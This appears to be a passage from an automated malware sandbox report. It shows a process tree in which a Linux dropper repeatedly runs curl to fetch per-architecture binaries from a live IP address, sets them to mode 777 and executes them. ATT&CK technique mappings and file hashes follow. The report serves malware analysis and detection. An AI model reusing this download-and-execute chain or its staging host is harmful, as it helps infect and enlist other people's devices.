- /tmp/m.i486
  ./m.i486 lilin
  2⤵
  PID:968
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.i686
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:970
- /bin/chmod
  chmod 777 m.i686
  2⤵
  - File and Directory Permissions Modification
  PID:977
- /tmp/m.i686
  ./m.i686 lilin
  2⤵
  PID:978
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.i586
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:980
- /bin/chmod
  chmod 777 m.i586
  2⤵
  - File and Directory Permissions Modification
  PID:984
- /tmp/m.i586
  ./m.i586 lilin
  2⤵
  PID:985
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.mips
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:987
- /bin/chmod
  chmod 777 m.mips
  2⤵
  - File and Directory Permissions Modification
  PID:993
- /tmp/m.mips
  ./m.mips lilin
  2⤵
  - System Network Configuration Discovery
  PID:994
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.mipsel
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:996
- /bin/chmod
  chmod 777 m.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:997
- /tmp/m.mipsel
  ./m.mipsel lilin
  2⤵
  - System Network Configuration Discovery
  PID:998
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.powerpc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1000
- /bin/chmod
  chmod 777 m.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:1001
- /tmp/m.powerpc
  ./m.powerpc lilin
  2⤵
  PID:1002
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.x86_64
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:1004
- /bin/chmod
  chmod 777 m.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1005
- /tmp/m.x86_64
  ./m.x86_64 lilin
  2⤵
  PID:1006

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

cmdline

Path /tmp/cmdline
Size 11B
SHA256 6628c1ade33319fc12730a87856ccdb1e4eaed9a0aa2b0bce0535a97a232f272
MD5 88af90d1f18b944c6d2365f389b9bfe5
SHA1 9cb724a1fb906a66b81d24a84257e3cf69b69214
SHA512 254c37d06ebbff6b4e7c1ee2e354e142e7c8fc26c8b396712b875979de4234bc121225e765eb65d3008fa159488b245c0e30d613a9f99c90519f1b1b184178d4
MD5 SHA1 SHA512

Submit Download

m.armv4l

Path /tmp/m.armv4l
Size 49KB
SHA256 c0d8ffebfba969b1c1ca76bd9623bb623e9f95155c8ceca77d8fcc521435a497
MD5 2e137a9159866bc875aaba0a338a86fd
SHA1 a2821814bdcf85147839dc562214fed3bb3d4399
SHA512 60c08ca6c611af8accd8bb970fa5abfe10010a5759991fad0abccacc63c5f6814eff2ade8026edf81b2d9cfcdd2d86f876a8486ed2284d77094268cca2f5bf86
SSDEEP 1536:1cYWXIVwNadGOxDp36CX5M2o+Ona2T3yOORBcIr:1cLXIV7Fp3jXRoUx9BN
TLSH
T1F7330868F880DB22C6D1157AFA5E528C73530F78D2D973029E14AE346BFBA570F3A941
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

stat

Path /tmp/stat
Size 249B
SHA256 eef245e1c1695959a06e82890a428404d2da47158e7890bf1a5c9834915ada2d
MD5 eead47c4a2439814d0c1761409fbc4e3
SHA1 4a5bc2e97683e2020639253383817fdf55dad9bc
SHA512 603c91fa067f0fed095ddc8cb0f24f267ad4e849910621406c3714e272f9fac5672dbd83b3533f8e1f3e343c39c5112f2890b24e1472b14d71f3818d2ce6ab16
TLSH
T16CD05EA163EE14CD828AC54A6901058B0B0FF0753C71F0652AACD9715CEA479CE17806
MD5 SHA1 SHA512 TLSH

Submit Download

statm

Path /tmp/statm
Size 27B
SHA256 31aed519b1fe4e5e159a35e1cda4ea884d5f24945bba3e6703211ec431e95876
MD5 f2e1fd8ea4057937b3cb0621ff91423f
SHA1 70153313e01f1127e386c421f38cc1d2bbc78202
SHA512 a88723a4bfda206b97d5722871f6ae8a3e17277040ff1026c3ac1d9f4a208a58020d798b3a110cd694d16289094163b8c3e2df91eb90697ee16d0ef04dfb1276
MD5 SHA1 SHA512

Submit Download

status

Path /tmp/status
Size 973B
SHA256 112c1b52cf7dad898801c2ded273fee614660f5acb0e6c81f7d5830a94d70ad5
MD5 5e699507af4deec81726746d43d75249
SHA1 d2cede06370d3b16d6b185b3496ae07d99a0728a
SHA512 7294cdd25b0c5cf4a41a05814975607bebaa6b959c790a61683797327ddf4ca8a9df89221868a38e2cfd5bfc50e75f95168dd5a8b7bf541b00e9a8d8508ce860
TLSH
T1B51132218FD6BC98CABE9348156AF8016070F21978D16135714EC978FF3325BA7898D5
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads